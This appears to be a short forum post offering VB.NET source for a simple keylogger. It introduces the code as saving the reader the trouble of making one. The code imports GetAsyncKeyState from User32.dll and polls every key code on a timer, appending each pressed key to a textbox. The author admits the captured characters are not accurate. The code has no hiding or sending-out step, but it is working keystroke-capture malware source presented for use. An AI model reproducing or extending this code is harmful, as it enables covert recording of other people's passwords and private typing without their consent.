Saves you the trouble of making a keylogger.



●Import the function from the 'User32' library. It will check the key being pressed on the keyboard and return the character code of the key.

Code:
Private Declare Function GetAsyncKeyState Lib "User32.dll"(Byval Key As Integer) As Integer
●We will use a timer to check if a key is being pressed, convert the character code to the character it represents. Then we will append it to a textbox as an example.

Code:
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
    For i As Integer = 0 To 255
        Dim Result As Integer = GetAsyncKeyState(i)
        If Result = -32767 Then
            TextBox1.AppendText(Chr(i))
        End If
    Next
End Sub
However, the the characters returned are not so accurate.